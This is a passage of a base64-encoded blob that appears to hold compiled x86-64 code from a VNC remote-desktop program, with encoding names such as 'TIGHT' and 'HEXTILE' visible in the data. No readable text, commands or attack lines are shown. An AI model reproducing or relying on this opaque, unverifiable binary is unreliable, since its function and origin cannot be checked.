ReBBK8EDwolFwItF5EErwAPBiUXEDxBFuA8Rh+QAAABEiY/0AAAARImH+AAAAMeH4AAAAAEAAABIi8vo1eD+/+sGSIsB/1AoTI1cJHBJi1soSYtzMEmL40FeX13DzMzMzMzMzMyJURDDzMzMzMzMzMzMzMzMiVEUw8zMzMzMzMzMzMzMzIlUJBBIweogSLkAgMEqIU5i/olUJBRIA0wkEEi4vUJ65dWUv9ZI9+lIA9FIwfoXSIvCSMHoP0gDwsPMzMzMzMwPt0Egw8zMzMzMzMzMzMzMSItRQEiNBZVcAgBIhdJID0XCw8zMzMzMzMzMzMzMzMxIi1FISI0FdVwCAEiF0kgPRcLDzMzMzMzMzMzMzMzMzEBXSIPsUEjHRCRA/v///0iJXCRoSIl0JHBBi/FIi9lIiVEwTIlBOEmLyOgR3gAASIXASIvIdQdIjQ0SXAIA6Kn6AQBIiUNASItLOOjw3QAASIXASIvIdQdIjQ3xWwIA6Ij6AQBIiUNID7eEJIgAAABmiUMgucAAAADoauUAAEiL+EiJRCRgSIXAdBoz0kSNQgFIi8joJ9j+/0iNBehZAgBIiQfrAjP/SIl7UEiF/3UEM8DrMUyLF0iLhCSQAAAASIlEJDCLhCSAAAAAiUQkKIl0JCBMi0s4TItDMEiL00iLz0H/UhhIi1wkaEiLdCRwSIPEUF/DzMzMzMzMzMzMzMxIg+woi0QkUEyJgaAAAABMiYmYAAAAiYGwAAAAi0QkWEiJkagAAACJgbQAAABIi0QkYEiJgbgAAADoct3+/7gBAAAASIPEKMPMzMzMzMzMzEBTSIPsIEiLgagAAABIi9lIi4mYAAAAg3gIBw+MhQAAAEiNVCRAQbgDAAAAZsdEJEACAsZEJEIQ6PPeAACFwHRRSIuLmAAAAEiNVCQ4QbgBAAAA6CjdAACFwHQ2D7ZEJDg8EHU1SIuDqAAAAEiLy8dADAEAAABIiwP/UEiFwHQSSIsDugIAAABIi8v/UFCFwHUwM8BIg8QgW8M8AnQkM8BIg8QgW8NIjVQkOEG4BAAAAMdEJDgAAAAC6HLeAACFwHTQSIsDSIvLSIPEIFtI/2BgzMzMzMzMzMzMzMzMzMzMSIlcJBhIiXQkIFdIg+xASIv5uwgAAAC+AwAAAEiNTCQwSI0VqFgCAESLy0SLxugtDQEASIuPmAAAAESNQwRIjVQkMOgI3gAAhcB1EjPASItcJGBIi3QkaEiDxEBfw0iLj5gAAABIjVQkIEG4DAAAAMZEJCwA6CbcAACFwHTOTI1MJFhMjUQkUEiNFUFYAgBIjUwkIOh3DgEAOXQkUHWti0wkWDvLfxONQfyD+AJ3BIve6weL2TvOD0zeSIuHqAAAAEiLdCRoiVgISIuHqAAAAEiLXCRgx0AMAAAAALgBAAAASIPEQF/DzMzMzMzMzMzMi0EYw8zMzMzMzMzMzMzMzIN5EAB1CYN5FAB1AzPAw7gBAAAAw8zMzMzMzMzMzMzMi0EQw8zMzMzMzMzMzMzMzItBFMPMzMzMzMzMzMzMzMxAU0iD7CBIi9noovn//0iLSzhIhcl0CkiDxCBb6Y/ZAABIg8QgW8PMzMzMzMzMzMxIiVwkCFdIg+wwi9oz0kiL+YP7Ag+F4QAAALoBAAAAi8qLwkG4BAAAAMH5CCUA/wAAgeEA/wAAweAIC8iLwsHqGMHgGCUAAAD/C8gLykiNVCRIiUwkSEiLj5gAAADoftwAAIXAD4SaAAAAg/sCdXxIi4+YAAAASLhWTkNBVVRIX0SNQw5IjVQkIMdEJCAAAAACx0QkJFNURFZIiUQkKOg93AAAhcB0XUiLj5gAAABEjUMCSI1UJFDodNoAAIXAdESLTCRQi9GLwcHoEIHiAAD/AAvQi8HB4RAlAP8AAMHqCAvBweAIC9A703UZuAEAAABIi1wkQEiDxDBfw4P7AQ+EG////zPASItcJEBIg8QwX8PMzMzMzMzMzMzMzMzMzMxIg+woSIuJmAAAAEiNVCQwQbgEAAAAx0QkMAAAAADondsAAEiDxCjDzMzMzMzMzMxAV0iD7CBIi/lIi4mYAAAASI1UJDBBuAEAAADowNkAAIXAdQgzwEiDxCBfw4B8JDAAdUqDv7QAAAAAdUFIi4+gAAAASIsB/5AYAgAASIuPoAAAAIP4AUiLAXMF/1A46x3/kBgCAACD+AF2EkiLj6AAAABIiwH/UChIhcB1p0iLh6AAAABIi4+oAAAASIlcJDhIixhIiwH/kKgAAABIi4+gAAAAD7fQ/1MYSItcJDhIg8QgX8PMzMzMzMzMzMzMzMyLgRQBAADHgRQBAAAAAAAAw8zMzMzMzMzMzMzMzMzMzEiJXCQQV0iD7CBIi4GoAAAASIvZSIuJmAAAAIN4CAdIi/p8EsZEJDAAQbgBAAAASI1UJDDrE8dEJDAAAAAAQbgEAAAASI1UJDDoYtoAAIXAdAxIiwNIi9dIi8v/UEBIi1wkOEiDxCBfw8zMzMzMzMxIiVwkEEiJbCQYSIl0JCBXQVZBV0iD7EBIi+lIi0kwSIvaSIsBSI1UJDBJi/D/kLADAACLUwREixOLfCQwQb4AAQAAQb//AAAAi8pFi8pBD7fCZivHRCvPQbgMAAAAQcH5CMdEJCgAAAABZkEPr8ZmRSPPZkQzyA+3wmZEiUwkIESLTCQ0QSvJZkErwcH5CGZBI89mQQ+vxmYzyA+3QwhmiUwkIotLCGZBK8JBK8pmQQ+vxsH5CGZBI89mM8gPt0MMZolMJCSLSwxmK8IrymZBD6/GSI1UJCDB+QhmQSPPZjPID7cGZolMJCaLDmYrxyvPZkEPr8bB+QhmQSPPZjPID7dGBGaJTCRgi04EZkErwUEryWZBD6/GwfkIZkEjz2YzyGaJTCRiSItNOOig2gAAhcB0HUiLTThIjVQkYEG4BAAAAOiI2gAAM8mFwA+VwYvBSItcJGhIi2wkcEiLdCR4SIPEQEFfQV5fw8zMzMzMzEiD7DiLkZgAAAAPt4GYAAAATIvJRTPSQbj/AAAAwfoIRImRhAAAAIuJnAAAAGbB4AhmQSPQwfkIx0QkKP///xhmC9BBD7eBnAAAAGZBI8hmweAIZolUJCBFjUIMZgvISI1UJCBEiVQkJGaJTCQiSYtJOOjp2QAASIPEOMPMzMzMQFNIg+wgSItROEiL2cdBfAAAAABIi0ko6JPr//+FwHUYSItTOEiLSyiJg4AAAABIg8QgW+mH6///x4OAAAAAAQAAALgBAAAASIPEIFvDzMxAV0iD7DBIx0QkIP7///9IiVwkSEiJbCRQSIl0JFiL8kiL6UiNmSABAABIiVwkQEiLy+jp1P7/kLkKAAAA6AbbAABIi/hmxwCDADPAiUcCiXcGRI1ACkiL10iLTTjontcAAEiLz+g+/QAAkEiLy0iLXCRISItsJFBIi3QkWEiDxDBf6fnW/v/MzMzMzMzMzMxAV0FWQVdIg+wwSMdEJCD+////SIlcJFhIiWwkYEiJdCRoTYvwD7fqTIv5SI2ZIAEAAEiJXCRQSIvL6FHU/v+QjXUESGPO6G3aAABIi/hIjUgExgCFD7fVZsHCCGaJUAJEi8VJi9boBewAAESLxkiL10mLTzjo9tYAAEiLz+iW/AAAkEiLy0iLXCRYSItsJGBIi3QkaEiDxDBBX0FeX+lN1v7/zMzMzMzMzMzMzMzMzEBXQVZBV0iD7DBIx0QkIP7///9IiVwkWEiJbCRgSIl0JGhNi/APt+pMi/lIjZkgAQAASIlcJFBIi8voodP+/5CNdQRIY87ovdkAAEiL+EiNSATGAIQPt9VmwcIIZolQAkSLxUmL1uhV6wAARIvGSIvXSYtPOOhG1gAASIvP6Ob7AACQSIvLSItcJFhIi2wkYEiLdCRoSIPEMEFfQV5f6Z3V/v/MzMzMzMzMzMzMzMzMSIlcJBhVVkFWSI2sJGD///9IgeygAQAASIvZSIuJoAAAAEUz9kiLAUGL9v+QeAMAAIXAD4SYAAAASIuLqAAAAEiLAf+QiAAAAIXAD4SAAAAASLhGVFNfTFNEVMdEJCAAAACCx0QkJFRHSFRIiUQkKEi4RlRTX0RORFTHRCQwAAAAg0iJRCQ4SLhGVFNfVVBDTsdEJDRUR0hUSIlEJEhIuEZUU19ETkZMx0QkQAAAAITHRCREVEdIVEGNdgTHRCRQAAAAhUiJRCRYx0QkVFRHSFSD/gR+BzPA6VgDAABIi4ugAAAASIm8JMgBAABBi/5IiwH/kHgDAACFwA+EywAAAEiLi6gAAABIiwH/kIgAAACFwA+EswAAAEi4RlRDX0xTUlHHRCRgAAAAgsdEJGRUR0hUSIlEJGhIuEZUQ19ETlJRx0QkcAAAAINIiUQkeEi4RlRDX1VQUlHHRCR0VEdIVEiJRYhIuEZUQ19VUERUx0WAAAAAhEiJRZhIuEZUQ19ETkNOx0WEVEdIVEiJRahIuEZUQ19VUEZMx0WQAAAAhcdFlFRHSFTHRaAAAACGx0WkVEdIVEiJRbi/BgAAAMdFsAAAAIfHRbRUR0hUg/8GD482AgAASLhDT1BZUkVDVLr/AAAAi85IiUXIwfkISLhSUkVfX19fX0iJRdhmI8pIuENPUlJFX19fSIlF6Ei4SEVYVElMRV9BuAgAAABIiUX4SLhaTElCX19fX8dFwAAAAAFIiUUISLhaTElCSEVYX8dFxFNURFZIiUUYSLhUSUdIVF9fX8dF0AAAAAJIiUUoSLhDT01QUkxWTMdF1FNURFZIiUU4SLhKUEVHUUxWTMdF4AAAAARIiUVISLhYMTFDVVJTUsdF5FNURFZIiUVYSLhSQ0hDVVJTUsdF8AAAAAVIiUVoSLhQT0lOVFBPU8dF9FNURFZIiUV4SLhMQVNUUkVDVMdFAAAAAAZIiYWIAAAASLhORVdGQlNJWsdFBFRSRFZIiYWYAAAAD7fGx0UQAAAACGbB4AjHRRRUUkRWx0UgAAAAB2YLyA+3x8dFJFRHSFRmiY3AAAAAi89mweAIwfkIx0Uw////AMdFNFRHSFRmI8pIjZXAAAAAx0VA////4GYLyMdFRFRHSFTHRVD///8QZomNwgAAAEiLi5gAAADHRVRUR0hUx0Vg////EcdFZFRHSFTHRXD///8Yx0V0VEdIVMeFgAAAAP///yDHhYQAAABUR0hUx4WQAAAA////IceFlAAAAFRHSFTHhcQAAAAADgAA6EjSAACFwHQ+hfZ0G0iLi5gAAADB5gRIjVQkIESLxugp0gAAhcB0H4X/dB9Ii4uYAAAAwecESI1UJGBEi8foCtIAAIXAdQQzwOsfSIuLmAAAAEiNVcBBuOAAAADo7NEAAIXAQQ+VxkGLxkiLvCTIAQAASIucJNABAABIgcSgAQAAQV5eXcPMzMzMzMzMQFNIg+wwSItJODPbSI1UJCBEjUMMSIlcJCDHRCQo////IOgp0wAAhcAPlcOLw0iDxDBbw8zMzMzMzMzMzMzMzEBVVldBVEFVQVZBV0iD7DBIx0QkIP7///9IiVwkcEyL+bgEAAAAQbwAAQAASffkSMfB/////0gPQMFIi8johtQAAEyL8EiFwHQbRYvESIvQSYtPKOin4///hcB1EkmLzujD9gAAuAEAAADpuQAAAEmNnyABAABIiZwkiAAAAEiLy+gazv7/kMZEJHgBRTPtx0QkegAAAQBBjW0BRY1FBkiNVCR4SYtPOOhj0gAAhcB0YkGL9UmNfgEPH4QAAAAAAA+2RwFmiYQkgAAAAA+2B2aJhCSCAAAAD7ZH/2aJhCSEAAAAQbgGAAAASI2UJIAAAABJi0846BbSAACFwHQV/8ZIg8cEQTv0crdJi87oF/YAAOsLSYvO6A32AABBi+1Ii8vo2s/+/4vFSItcJHBIg8QwQV9BXkFdQVxfXl3DzMzMQFNIg+wgQYgQSYvASIvZSItJOEWLwUiL0Oiy0QAAhcB1EUiLA0iLy/9QCDPASIPEIFvDuAEAAABIg8QgW8PMzEiLxFdIg+xgSMdAyP7///9IiVgQSIlwGEiL+kiL8UiNmbgAAABIiVgISIvL6O/M/v+QSItOMEiLAUiNVCRI/5CwAwAADxAADxFEJDhIi8voLM/+/0yNRCQ4SIvXSIvP/xXrBQIAi0QkPIlEJCBEi0wkOEyLRjhIi9dIi04o6G7m//+L2EiLTijow+H//0iL0ESLw0iLTjjo9NAAAEiLXCR4SIu0JIAAAABIg8RgX8PMSIlcJAhXSIPsMEiDeggASIvaSIv5dFRmDx+EAAAAAABIiwNIjVQkIEiLz0iLAA8QQBAPEUQkIOgU////hcB0aEiLA0iLCEiLUQhIiwFIiQJIixFIi0EISIlCCEj/SwjowNQAAEiDewgAdbVIiwNIiwhIiQBIiwNIiUAISMdDCAAAAABIOwt0EEiLOeiU1AAASIvPSDs7dfC4AQAAAEiLXCRASIPEMF/DM8BIi1wkQEiDxDBfw8zMzMzMzMzMzMzMSIlcJBBIiXQkGFdIg+wgSIPP/0iL2kiL8UiL1w8fQABI/8KAPBMAdfdIweIYSIvHgeIAAAD/SP/AgDwDAHX3SMHoCCUA/wAAC9BIi8cPHwBI/8CAPAMAdfdIwegYD7bAC9BIi8dI/8CAPAMAdfdIi4mYAAAASMHgCEG4BAAAACUAAP8AC9CJVCQwSI1UJDDo/M0AAIXAdRhIi1wkOEiLdCRASIPEIF/DDx+EAAAAAABI/8eAPDsAdfdIi46YAAAATIvHSIvT6MXNAABIi1wkOEiLdCRAM8mFwA+VwYvBSIPEIF/DzMzMzMzMzMzMzMzMQFNWV0FWSIPsWEjHRCQg/v///0iL+YO5GAEAAAB0GoN5XAB0FLoBAAAA6IEHAAC4AQAAAOksBwAASI2MJIgAAADoCooAAJBFM/ZMiXQkKEyJdCQwRTPAM9JIjUwkKOj9DAAASIlEJChIjYwkkAAAAOjbiQAAkEQ5t4QAAAAPhJsAAABIjYwkmAAAAP8VZwMCAIXAdQhMibQkmAAAAEiLTzBIiwFIjVQkOP+QsAMAAIuMJJgAAABEi0QkOIuEJJwAAABEi0wkPEErwUEryHkFQYvO6w6LVCRAQSvQO8p8A41K/4XAeQVBi8brDotUJERBK9E7wnwDjUL/O4+YAAAAdRE7h5wAAAB1CUSJt4QAAADrDImPmAAAAImHnAAAAEiNjCSIAAAA6NWJAABIg7+wAAAAAHRESI2PqAAAAOi/iQAARIm34AAAAEiNl7AAAABIjYwkiAAAAOjUiQAASI2PoAAAAOiYiQAASI2PsAAAAOiMiQAA6TEBAABIg7+oAAAAAA+EIwEAAEiNl6AAAABIjYwkiAAAAOiViQAAg7+AAAAAAA+F9gAAAIN/fAAPhewAAACDf3AAdV1IjYwkmAAAAOiLiAAAkEiNV2BIjYwkmAAAAOiZiAAASI2UJIgAAABIjYwkmAAAAOi0iQAASIO8JJgAAAAAdAfHR3ABAAAASI2MJJgAAADoVYgAAIN/cAAPhIkAAABIi08wSIsBSI1UJDj/kLADAABMi8BIjVdgSI1PYP8VuAECAIXAdBFIjVdgSI2MJIgAAADoI4gAAEiNVCQ4SItPKOgF3v//DxAADxFHYEiLTzBIiwFIjVQkOP+QsAMAAEyLwEiNV2BIjU9g/xVrAQIAhcB0EUiNV2BIjYwkiAAAAOjWhwAARIl3cEiNj6AAAADoVogAAEGL9kiNVCQoSI2MJIgAAADoIYkAAIXAdD5Ii0QkKEiLGA8fRAAASDvYdCRIjVMQSItPKOgu3f//hcB1B77//wAA60YD8EiLG0iLRCQo69eB/v//AAB0MoN/fAB0Av/Gg7+EAAAAAHQC/8aDv+AAAAAAdAL/xoX2D4TgAwAASI2PqAAAAOjNhwAASI2fIAEAAEiJnCSYAAAASIvL6HbH/v+Qi87B+Qi4/wAAAGYjyA+3xmbB4AhmC8hmiYwkggAAAEG5BAAAAEyNhCSAAAAAM9JIi8/o3vn//4XAdW9Ii8voksn+/5BIjYwkkAAAAOjEhgAAkEiLRCQoSIsISIkASItEJChIiUAITIl0JDBIi0QkKEg7yHQVSIsZ6KzPAABIi8tIi0QkKEg72HXrSIvI6JfPAACQSI2MJIgAAADodYYAALgBAAAA6XADAACDf3wAdHtIi8/oTfH//4XAdW9Ii8voEcn+/5BIjYwkkAAAAOhDhgAAkEiLRCQoSIsISIkASItEJChIiUAITIl0JDBIi0QkKEg7yHQVSIsZ6CvPAABIi8tIi0QkKEg72HXrSIvI6BbPAACQSI2MJIgAAADo9IUAALgBAAAA6e8CAACDv4QAAAAAdHtIi8/oSfD//4XAdW9Ii8vojcj+/5BIjYwkkAAAAOi/hQAAkEiLRCQoSIsISIkASItEJChIiUAITIl0JDBIi0QkKEg7yHQVSIsZ6KfOAABIi8tIi0QkKEg72HXrSIvI6JLOAACQSI2MJIgAAADocIUAALgBAAAA6WsCAACDv+AAAAAAD4SQAAAARIm34AAAAEyNh/QAAABIjZfkAAAASIvP6Dzu//+FwHVvSIvL6PDH/v+QSI2MJJAAAADoIoUAAJBIi0QkKEiLCEiJAEiLRCQoSIlACEyJdCQwSItEJChIO8h0FUiLGegKzgAASIvLSItEJChIO9h160iLyOj1zQAAkEiNjCSIAAAA6NOEAAC4AQAAAOnOAQAASI1UJChIi8/orPj//4XAdW9Ii8vocMf+/5BIjYwkkAAAAOiihAAAkEiLRCQoSIsISIkASItEJChIiUAITIl0JDBIi0QkKEg7yHQVSIsZ6IrNAABIi8tIi0QkKEg72HXrSIvI6HXNAACQSI2MJIgAAADoU4QAALgBAAAA6U4BAACB/v//AAB1e0iLz+i59f//hcB1b0iLy+jtxv7/kEiNjCSQAAAA6B+EAACQSItEJChIiwhIiQBIi0QkKEiJQAhMiXQkMEiLRCQoSDvIdBVIixnoB80AAEiLy0iLRCQoSDvYdetIi8jo8swAAJBIjYwkiAAAAOjQgwAAuAEAAADpywAAAEiLy+h+xv7/kEiNjCSQAAAA6LCDAACQSItEJChIiwhIiQBIi0QkKEiJQAhMiXQkMEiLRCQoSDvIdBVIixnomMwAAEiLy0iLRCQoSDvYdetIi8jog8wAAJBIjYwkiAAAAOhhgwAAkLgBAAAA615IjYwkkAAAAOhMgwAAkEiLRCQoSIsISIkASItEJChIiUAITIl0JDBIi0QkKEg7yHQVSIsZ6DTMAABIi8tIi0QkKEg72HXrSIvI6B/MAACQSI2MJIgAAADo/YIAADPASIPEWEFeX15bw8xIiVEow8zMzMzMzMzMzMzMQFNIg+wgSIvZM8nowOsAAEgrg4gAAABIg/gBfgrHg4QAAAABAAAASIPEIFvDzMzMSIlcJBBIiXQkGFdIg+xQSIv5SItJMIvySIsBSI1UJED/kLADAABIjY+wAAAADxAADxFEJDDoFoMAAEiNj6gAAADoCoMAAEiNVCQwSI2PsAAAAOhpggAAg78YAQAAAHUMx0dcAQAAAOmyAAAAhfYPhKoAAACLTCQ4i0QkMEG5AAEAAIvRZivIQbj/AAAAK9CLRCQ0M9tmQQ+vycH6CGZEiUwkYsdEJCj///8hZkEj0IlcJCBmM9GLTCQ8ZolUJCSL0WYryCvQwfoIZkEPr8lmQSPQRI1LBEyNRCRgZjPRSIvPZolUJCYz0ujD9P//hcB1EjPASItcJGhIi3QkcEiDxFBfw0iLTzhIjVQkIEG4DAAAAOhpxgAAhcB01olfXEiLXCRoSIt0JHC4AQAAAEiDxFBfw8zMzMzMzMzMzMzMzMxIuQCRELYCAAAASGPCSAPBSGnIgJaYAEGJCEjB+SBBiUgEw8zMzMzMzMzMzMzMzMxAV0iD7DBIx0QkIP7///9IiVwkSEiJdCRQSIv5SI2ZuAAAAEiJXCRASIvL6HDB/v+Qg39YAHR7g7/8AAAAAHRySItPKOhX1///iUd8SIO/oAAAAAB1LEiDv7AAAAAAdSKDv+AAAAAAdRmFwHUVOYeEAAAAdQ05R3B0ODmHHAEAAHUwM/Y5txABAAB0Eom3EAEAAEiLz+hm8v//hcB0FEiLz+g69v//hcBAD5TGibf8AAAASIvLSItcJEhIi3QkUEiDxDBf6TfD/v/MzMzMzMzMQFZXQVZIg+wwSMdEJCD+////SIlcJFhIi/pMi/GDeVgAD4ToAAAASIsB/1B4hcAPhNoAAABJiwZJi87/kIAAAACFwA+ExgAAAEmNniABAABIiVwkYEiLy+hzwP7/kEiDzv9Ii85I/8GAPA8AdfdIweEYgeEAAAD/SIvGDx9EAABI/8CAPAcAdfdIwegIJQD/AAALyEiLxkj/wIA8BwB190jB6BgPtsALyEiLxg8fQABI/8CAPAcAdfdIweAIJQAA/wALyIlMJFRBuQgAAABMjUQkULIDSYvO6JPy//+FwHQcSP/GgDw3AHX3TIvGSIvXSYtOOOhHxAAAhcB1CkmLBkmLzv9QCJBIi8voIcL+/0iLXCRYSIPEMEFeX17DzMzMSItJKOnn2f//zMzMzMzMzEBXSIPsQEjHRCQg/v///0iJXCRYSIl0JGBIi/mDeXAAdV6DuYAAAAAAdVVIjZm4AAAASIlcJFBIi8voYb/+/5BIi08wSIsBSI1UJCj/kLADAABMi8BIjVdgSI1PYP8VbfgBAIXAdBBIjY+gAAAASI1XYOjZfgAAx0dwAQAAAOsog7kcAQAAAHQnSI2ZuAAAAEiJXCRQSIvL6AO//v+QSIsHSIvP/1BYkEiLy+hQwf7/SItcJFhIi3QkYEiDxEBfw0iJXCQIV0iD7CBIi/lIgcG4AAAA6Me+/v9IjY+4AAAAx4cQAQAAAQAAAEiLXCQwSIPEIF/pB8H+/8zMzMzMzMxAV0iD7EBIx0QkIP7///9IiVwkUEiJdCRYSIv6SIvxSIvK/xWg9wEAhcB1UkiNnrgAAABIiVwkYEiLy+hgvv7/kEiLTjBIiwFIjVQkKP+QsAMAAEyLwEiL10iLz/8VbvcBAIXAdBBIjY6gAAAASIvX6Nt9AACQSIvL6ILA/v9Ii1wkUEiLdCRYSIPEQF/DzMxAV0iD7EBIx0QkIP7///9IiVwkUEiJdCRoSIv6SIvxSIM6AHRvSI2ZuAAAAEiJXCRgSIvL6Ne9/v+QSI1MJFjoXH0AAJBIi04wSIsBSI1UJCj/kLADAABIi9BIjUwkWOhcfQAASI1UJFhIi8/of34AAEiNjqAAAABIi9foAH4AAJBIjUwkWOglfQAAkEiLy+jcv/7/SItcJFBIi3QkaEiDxEBfw8zMzMzMzMzMzMzMzEBXSIPsMEjHRCQg/v///0iJXCRASYv4SIvauSAAAADohMUAAEiJRCRYSIXAdQboccQAAMxIhdt1BkiL2EiL+EiJGEiNSAhIhcl0A0iJOUiLXCRASIPEMF/DzMzMzMzMzEiJTCQIVVZXQVRBVUFWQVdIjawkIPz//0iB7OAEAABIx4U4AQAA/v///0iJnCQoBQAASIv5M8nolBr+/0iJRQi6MHUAAEiLj5gAAADo/8EAAEiLj6AAAABIixlIi4+oAAAASIsR/5KYAAAASIvQSIuPoAAAAP+TuAIAAEiLh7gAAABBvggAAABFM+REOaCAAQAAdDRIiwdIi8//UCCFwA+EbyAAAEiLB0iLz/9QKIXAD4ReIAAASIsHSIvP/1BohcB1QulMIAAASIuHqAAAAESJcAhIi4eoAAAARIlgDEiLh6AAAABIixhIi4+oAAAASIsB/5CoAAAAD7fQSIuPoAAAAP9TGEiLh6AAAABIixhIi4+oAAAASIsB/5CYAAAASIvQSIuPoAAAAP+TwAIAAEiLj6AAAABIiwH/kEgDAABp0OgDAABIi4+YAAAA6P/AAABIi4+oAAAASI1V+EiLSSjoG9H//0iLj6gAAAAPEAAPEYEAAQAAx0XkEAAAAEiNVeRIjU24/xWN8AEAhcB0UUmL3EiNTbhIg8j/Zg8fRAAASP/AOBwBdfhIhcB0Nw8fAA++TB246HbxAACIRB24SP/DSI1NuEiDyP8PH4AAAAAASP/ARDgkAXX3SDvYctLrBESIZbhIi4e4AAAAvv8AAACNXgFBvwD/AABBvQEAAABIi4+oAAAARDmggAEAAA+ESAEAAEiNVfhIi0ko6CDQ//8PEAAPEUQkZEiLj6AAAABIiwFIjVX4/5CwAwAADxAQZg9vymYPc9kIZkkPfshBi8hmSA9+0ivKwfkIZiPOQQ+3wGYrwmYPr8NmM8hmiUwkYEnB6CBIweogQYvAK8LB+AhmI8ZmRCvCZkQPr8NmQTPAZolEJGJmwUQkaAhmwUQkaghmwUQkbAhIjUW4SIPK/5BI/8JEOCQQdfdIi8JIwegYD7bISIvCSMHgCCUAAP8AC8hIi8JIweAYJQAAAP8LyEjB6ghBI9cLyolMJHRBuBgAAABIjVQkYEiLj5gAAADo3bwAAIXAD4QJHgAASI1FuEmDyP9J/8BGOCQAdfdIjVW4SIuPmAAAAOi0vAAAhcAPhOAdAABIi4eoAAAARDlgDA+EmAEAAEiLB0iLz/9QcIXAD4WHAQAA6bkdAAAPEICMAQAADxFFqEiNVahIi0ko6O3P//9Ii4e4AAAASIuPqAAAAIuQoAEAAEiLSSjoINP//0iLh7gAAABIi4+oAAAAi5CcAQAASItJKOjzz///SIuHuAAAAEiLj6gAAACLkLgBAABIi0ko6EbO//9Ii4e4AAAASIuPqAAAAIuQqAEAAEiLSSjoCc7//0iLh7gAAABIi4+oAAAAi5CwAQAASItJKOjMzf//SIuHuAAAAEGL1DmQqAEAAEEPRdVIi4+oAAAAi4C0AQAAiYEYAQAASIuHqAAAAESJoBwBAABIi4eoAAAARIlgfEiLh6gAAABEiaCAAAAASIuHqAAAAESJoIQAAACF0nQrSIuHuAAAAEQ5oKwBAAB0G0iLh6gAAABEiagcAQAASIuPqAAAAEiLAf9QWEiLh7gAAABEOaiEAQAAdAlEOaCkAQAAdAtIi4eoAAAARIloHEiLh7gAAACLkIQBAACNQvpIi4+oAAAASItJKIP4AncFugUAAADo887//0iLn6gAAABIjYu4AAAA6BC4/v9Ii4eoAAAARIloWEiNi7gAAADoWbr+/0iLj6gAAABIiwH/UHiFwHQOsRToEdf//7GR6ArX//9Eia0wBAAASI0dTPv9/zPJ6JUV/v9Fi8VIjVQkQEiLj5gAAADo4bgAAIXAD4S0GwAAD7ZEJEA9iAAAAHcvD7aEAxAhAgCLjIPcIAIASAPL/+FBuBMAAABIjVQkQUiLj5gAAADoorgAAIXAdQ5Bi8SJhTAEAADpYxsAAGbBRCRICGbBRCRKCGbBRCRMCEiLn6gAAABIgcO4AAAASIlcJFhIi8voM7f+/5BIi4+oAAAASI1UJERIi0ko6H3N//+FwHUJRImlMAQAAOscQbkQAAAATI1EJES6Jll4kkiLj7gAAADo9BX+/0iLh6gAAABEiagQAQAASIvL6D65/v/pzxoAAEG4AwAAAEiNVCRBSIuPmAAAAOjytwAAhcB1DkGLxImFMAQAAOmzGgAASIuPqAAAAIPK/0iLSSjoTdD//0iLj6gAAAC6BgAAAEiLSSjoKM3//0iLj6gAAAAz0kiLSSjohsv//0iLj6gAAAAz0kiLSSjoVMv//0iLj6gAAAAz0kiLSSjoIsv//0iLh6gAAABEiaAcAQAASIuHqAAAAESJoBgBAABIi4eoAAAARIlgfEiLh6gAAABEiaCAAAAASIuHqAAAAESJoIQAAABmwUQkQghFi/xFi/RIi5+oAAAASI2LuAAAAOjwtf7/SIuHqAAAADPJiUgcSI2LuAAAAOg4uP7/M8CL8GY7RCRCD4NMAwAAZg8fhAAAAAAASIufqAAAAEiBw7gAAABIiVwkeEiLy+iltf7/kEG4BAAAAEiNlTgEAABIi4+YAAAA6Lu2AACFwA+EyAIAAIuVOAQAAIvKgeEAAP8Ai8LB6BALyMHpCESLyrgA/wAARCPIRIvCQcHgEEULwUHB4AhEC8FBg/gBdS9Ii4eoAAAARIloHESJbCRYRY1IA0yNRCRYunWCdJFIi4+4AAAA6B8U/v/pRgIAAEGB+BD///91OkiLj6gAAABBi9VIi0ko6A7K//9Fi/VEiW3YQbkEAAAATI1F2LplkmWBSIuPuAAAAOjcE/7/6QMCAABBgfgR////dTpIi4+oAAAAQYvVSItJKOiryf//RYv1RIlt3EG5BAAAAEyNRdy6N1AYOUiLj7gAAADomRP+/+nAAQAAQY2AAAEAAIP4CXdOweIYgeIAAAD/QcHhCEEL0QvRuAABAAAD0IlUJFhIi4+oAAAASItJKOj7yv//QbkEAAAATI1EJFi6JollgkiLj7gAAADoPxP+/+lmAQAAQY1AIIP4CXdKweIYgeIAAAD/QcHhCEEL0QvRg8IgiVQkWEiLj6gAAABIi0ko6LjN//9BuQQAAABMjUQkWLqVcoUxSIuPuAAAAOjsEv7/6RMBAABBgfgY////dSlFi+VEiWwkWEG5BAAAAEyNRCRYuiBWKUdIi4+4AAAA6LoS/v/p4QAAAEGB+CD///91N0iLj6gAAABBi9VIi0ko6GnI//9EiW3oQbkEAAAATI1F6LpZRpgRSIuPuAAAAOh6Ev7/6aEAAABBgfgh////dTFIi4eoAAAARImoGAEAAESJbCRYQbkEAAAATI1EJFi6RWOFlEiLj7gAAADoPRL+/+tnRYX/dWJIi4+oAAAAQYvQSItJKOjzyf//hcB0S4uNOAQAAIvRgeIAAP8Ai8HB6BAL0MHqCIvBweAQgeEA/wAAC8HB4AgL0IlUJFhFjU8ETI1EJFi6SRZHKEiLj7gAAADo1xH+/0WL/UiLy+gstf7//8YPt0QkQjvwD4z9/P//6xAzyYmNMAQAAEiLy+gLtf7/RYX2dCBFheR0G0iLh6gAAABEiagcAQAASIuPqAAAAEiLAf9QWEWF/w+FXxYAAEiLn6gAAABIgcO4AAAASIlcJHhIi8voYrL+/5BIi4+oAAAAM9JIi0ko6B/J//9FM+SFwHUJRImlMAQAAOsiRIlkJFhBuQQAAABMjUQkWLpJFkcoSIuPuAAAAOgeEf7/kEiLy+h1tP7/6fUVAABBuAkAAABIjVQkQUiLj5gAAADoKbMAAIXAdQ5Bi8SJhTAEAADp6hUAAEiLn6gAAABIgcO4AAAASIlcJHhIi8vozLH+/5BIi4+gAAAASIsBSI2VgAEAAP+QsAMAAA8QAA8QyA8RRfgPt0QkQmbBwAhED7fIZkkPfshFA8hNi9hJwesgD7dEJERmwcAIRA+30EUD0w+3RCRGZsHACA+3yEEDyWYPc9kIZkgPfso7yg9PyolN0EU7yEUPTMhEiU3ID7dEJEhmwcAID7fIQQPKSMHqIDvKD0/KiU3URTvTRQ9M00SJVcxIi4eoAAAARImo/AAAAEyNRfhIjVXISI1NyP8VPOoBAIXAdDpIi4+oAAAASI1VyIB8JEEAdA5IgcGoAAAA6JpwAADrGkiBwbAAAADojHAAAEiLh6gAAABEiaDgAAAASIuPoAAAAEiLAf+QuAAAAJBIi8voFbP+/+mmFAAAQbgHAAAASI1UJEFIi4+YAAAA6MmxAACFwA+EjhQAAEiLj6gAAABIiwH/UHiFwA+EeRQAAEiLj6gAAABIiwH/kJAAAACFwA+FYRQAAItUJESLyoHhAAD/AIv